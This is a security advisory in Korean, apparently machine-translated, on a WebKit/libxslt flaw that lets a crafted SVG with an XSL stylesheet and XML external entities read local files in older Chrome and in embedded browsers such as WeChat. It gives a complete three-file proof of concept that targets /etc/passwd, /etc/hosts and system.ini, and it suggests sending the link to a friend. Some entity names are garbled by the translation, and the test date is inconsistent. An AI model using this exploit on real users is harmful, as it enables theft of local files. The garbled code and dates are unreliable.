오픈 소스 브라우저 엔진 WebKit 임의 파일 읽기 취약점

Google Chrome은 Google에서 개발한 웹 브라우저로, 오픈 소스 커널(예: WebKit)을 기반으로 하며 간단하고 효율적인 인터페이스로 안정성, 속도 및 보안을 향상시키는 것을 목표로 합니다. 그러나 SVG 이미지 링크의 XSL 스타일시트와 외부 엔터티 참조를 사용하면 공격자는 피해자의 컴퓨터에 있는 임의의 파일을 읽을 수 있습니다.

1. 취약점 설명

Google 크롬구글이 개발한 웹브라우저이다. 브라우저는 안정성, 속도, 보안을 향상하고 간단하고 효율적인 사용자 인터페이스를 만드는 것을 목표로 오픈 소스 커널(예: WebKit)을 기반으로 작성되었습니다. WebKit에서 기본적으로 사용하는 xsl 라이브러리(Libxslt), document()를 호출하여 로드된 문서에는 외부 엔터티에 대한 참조가 포함되어 있습니다. 공격자는 XSL 스타일시트가 포함된 SVG 이미지와 외부 엔터티에 대한 참조가 포함된 문서를 생성하고 호스팅할 수 있습니다.

피해자가 SVG 이미지 링크에 액세스하면 브라우저는 XSL 스타일시트를 구문 분석하고 document()를 호출하여 외부 엔터티에 대한 참조가 포함된 문서를 로드한 다음 피해자 컴퓨터에 있는 임의의 파일을 읽습니다.

2. 취약점의 영향

크롬 버전 < 116.0.5845.96
크롬 버전 < 116.0.5845.96
전자 버전 < 26.1.0

국내 영향:

Google Chrome 커널을 사용하는 애플리케이션은 기본적으로 WeChat Mobile, Alipay, Douyin, Ctrip, Xiaomi(자체 브라우저 포함), UC 브라우저, 브라우저, Quark 브라우저 등을 통해 영향을 받습니다. (11월 테스트는 2019년 11월 저녁에 이루어졌습니다. 19일)

3. 취약점 검증

휴대폰에서 /etc/hosts 파일을 읽으려면 Android 버전의 WeChat을 예로 들어보겠습니다. 테스트 환경의 WeChat 버전은 최신 버전 8.0.43입니다.

세 개의 파일을 구성하고 서버에 배포합니다.

 

c.html

<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";

var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="10000%" height="10000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignobject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignobject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd: &amp;passwd;
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts: &amp;호스트;
</p>
<p style="border-style: dotted;">/etc/group: &amp;그룹;
</p>
<p style="border-style: dotted;">c:/windows/system32.ini: &amp;sysini;
</p>
</p>

3개의 파일을 생성한 후 배포용 서버에 업로드하고 생성된 링크를 대화 상자를 통해 친구에게 보냅니다. 여기서는 파일 전송 도우미로 보내는 방법을 설명하고 링크를 클릭하여 읽은 파일을 성공적으로 반환합니다. .

4. 취약점 복구 제안

1. 애플리케이션의 내장 브라우저 버전을 업그레이드합니다.

2. 사용자는 공격을 방지하기 위해 낯선 링크를 클릭해서는 안 됩니다.

최고 보안 책임자의 원본 기사, 복제할 경우 출처 표시: https://cncso.com/kr/웹킷-브라우저-임의-파일-읽기-취약점-html

좋다 (1)
이전의 2023년 11월 27일 오후 11:03
다음 2023년 12월 1일 오후 10:01

관련 제안